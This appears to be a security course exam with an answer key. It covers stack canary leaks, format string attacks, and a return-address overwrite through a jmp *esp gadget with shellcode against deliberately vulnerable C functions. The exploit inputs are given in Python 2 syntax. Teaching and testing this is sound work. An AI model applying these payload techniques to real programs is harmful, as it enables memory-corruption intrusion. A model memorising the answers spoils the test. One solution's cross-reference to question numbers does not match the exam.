Q1 *Robin* **(20 points)**

Consider the following code snippet:

```
1  void robin(void) {
2      char buf[16];
3      int i;
4
5      if (fread(&i, sizeof(int), 1, stdin) != 1)
6          return;
7
8      if (fgets(buf, sizeof(buf), stdin) == NULL)
9          return;
10
11     _________
12 }
```

Assume that:

- There is no compiler padding or additional saved registers.
- The provided line of code in each subpart compiles and runs.
- `buf` is located at memory address `0xffffd8d8`
- Stack canaries are enabled, and all other memory safety defenses are disabled.
- The stack canary is four completely random bytes (**no null byte**).

For each subpart, mark whether it is possible to leak the value of the stack canary. If you put possible, provide an input to Line 5 and an input to Line 8 that would leak the canary. If the line is not needed for the exploit, you must write "Not needed" in the box.

Write your answer in Python syntax.

Q1.1 (3 points) Line 11 contains `gets(buf);`.

A. Possible

B. Not possible

Line 5:

Solution: N/A

Line 8:

Solution: N/A

Solution: There's not much we can do here as an attacker: there's no way to execute arbitrary shellcode to leak the canary, because we'd have to bypass the canary somehow; and there's no way of leaking the canary value directly as there are no read commands, only write commands.

Q1.2 (5 points) **For this subpart only, enter an input that allows you to leak a single character from memory address `0xffffd8d7`. Mark "Not possible" if this is not possible.** Line 11 contains `printf("%c", buf[i]);`.

A. Possible

B. Not possible

Line 5:

Solution: `'\xff\xff\xff\xff'`

Line 8:

Solution: Not needed

Solution: We can set `i` to -1 to read a value one byte below the buffer. We know that -1 is `0xffffffff` in two's complement, so we just enter that for the integer.

Q1.3 (6 points) Line 11 contains `printf(buf);`.

A. Possible

B. Not possible

Line 5:

Solution: Not needed

Line 8:

Solution: `'%c%c%c%c%c%x'`

Solution: This is just a simple format string attack: We just need to walk our way up the stack using `%c` specifiers until we reach `canary`, at which point we can dump the value of the canary using a `%x`.

Q1.4 (6 points) Line 11 contains `printf(i);`.

A. Possible

B. Not possible

Line 5:

Solution: Approach 1: `'\xe8\xd8\xff\xff'`

Approach 2: `'\xd8\xd8\xff\xff'`

Line 8:

Solution: Approach 1: Not needed

Approach 2: `'%c%c%c%c%c%x'`

Solution: The first option is simple: Use the integer as a pointer directly to the stack canary, which causes it to be leaked since it's contents will be treated as the format string and directly printed out (since it's unlikely for it to contain a format specifier).

The second option is identical to the previous subpart, except for the fact that we're printing `i` instead of `buf` - as such, we need to set this up such that `i` is a pointer to the format string specifier, which resides at `buf`. We can do this by setting `i` to this address, so that when it's passed into `printf`, it's treated identically to passing in `buf` directly.

Q2 *The Way You Look Tonight* **(20 points)**

Consider the following vulnerable C code:

```
1  typedef struct {
2      char mon[16];
3      char chan[16];
4  } duo;
5
6  void third_wheel(char *puppet, FILE *f) {
7      duo mondler;
8      duo richard;
9      fgets(richard.mon, 16, f);
10     strcpy(richard.chan, puppet);
11     int8_t alias = 0;
12     size_t counter = 0;
13
14     while (!richard.mon[15] && richard.mon[0]) {
15         size_t index = counter / 10;
16         if (mondler.mon[index] == 'A') {
17             mondler.mon[index] = 0;
18         }
19         alias++;
20         counter++;
21         if (counter == ___ || counter == ___) {
22             richard.chan[alias] = mondler.mon[alias];
23         }
24     }
25
26     printf("%s\n", richard.mon);
27     fflush(stdout); // no memory safety vulnerabilities on this line
28 }
29
30 void valentine(char *tape[2], FILE *f) {
31     int song = 0;
32     while (song < 2) {
33         read_input(tape[song]); //memory-safe function, see below
34         third_wheel(tape[song], f);
35         song++;
36     }
37 }
```

For all of the subparts, here are a few tools you can use:

- You run GDB once, and discover that the address of the RIP of `third_wheel` is `0xffffcd84`.
- For your inputs, you may use `SHELLCODE` as a 100-byte shellcode.
- The number `0xe4ff` exists in memory at address `0x8048773`. The number `0xe4ff` is interpreted as `jmp *esp` in x86.
- If needed, you may use standard output as `OUTPUT`, slicing it using Python 2 syntax.

Assume that:

- You are on a little-endian 32-bit x86 system.
- There is no other compiler padding or saved additional registers.
- `main` calls `valentine` with the appropriate arguments.
- **Stack canaries** are enabled and no other no memory safety defenses are enabled.
- The stack canary is four completely random bytes (**no null byte**).
- `read_input(buf)` is a memory-safe function that writes to `buf` without any overflows.

Write your exploits in Python 2 syntax (just like in Project 1).

Q2.1 Fill in the following stack diagram, assuming that the program is paused at **Line 14**. Each row should contain a struct member, local variable, the SFP of `third_wheel`, or canary (the value in each row does not have to be four bytes long).

Stack

RIP of third_wheel
SFP of third_wheel
STACK CANARY
mondler.chan
mondler.mon
richard.chan
richard.mon
alias
counter

Q2.2 In the first call to `third_wheel`, we want to leak the value of the stack canary. What should be the missing values at line 21 in order to make this exploit possible?

Provide a decimal integer in each box.

Solution: 255

Solution: 47

Solution: Both `fgets` and `strcpy` insert a null byte at the end of their inputs, so we need to overwrite the null bytes that are located at `richard.mon[15]` and `mondler.chan[15]` (since we can use `strcpy` to write more than 16 bytes into `richard.chan`). Since `alias` is a signed value, we can use 255 to overwrite the null byte in the `richard.mon` buffer, and 47 to overwrite the null byte in the `mondler.chan` buffer.

For the rest of the question, assume that **ASLR** is enabled in addition to stack canaries. Assume that the code section of memory has not been randomized.

Q2.3 Provide an input to each of the lines below in order to leak the stack canary in the first call to `third_wheel`. If you don't need an input, you must write "Not Needed".

Provide a string value for `tape[0]`:

Solution: 'B' * 47

Provide an input to `fgets` in `third_wheel`:

Solution: 'B' * x where x is any value greater than or equal to 15

Q2.4 Provide an input to each of the lines below in order to run the malicious shellcode in the second call to `third_wheel`. If you don't need an input, you must write "Not Needed".

Provide a string value for `tape[1]`:

Solution: 'B' * 48 + OUTPUT[64:67] + 'B'*4 + '\x73\x87\x04\x08' + SHELLCODE

Provide an input to `fgets` in `third_wheel`:

Solution: \x00 or 'B' * x where x is any value greater than or equal to 15

Solution: The solution to 9.5 and 9.6 follow the same logic as 9.3 and 9.4, except that we replace the address of (RIP+4) with the address of the `jmp *esp` instruction since ASLR is enabled.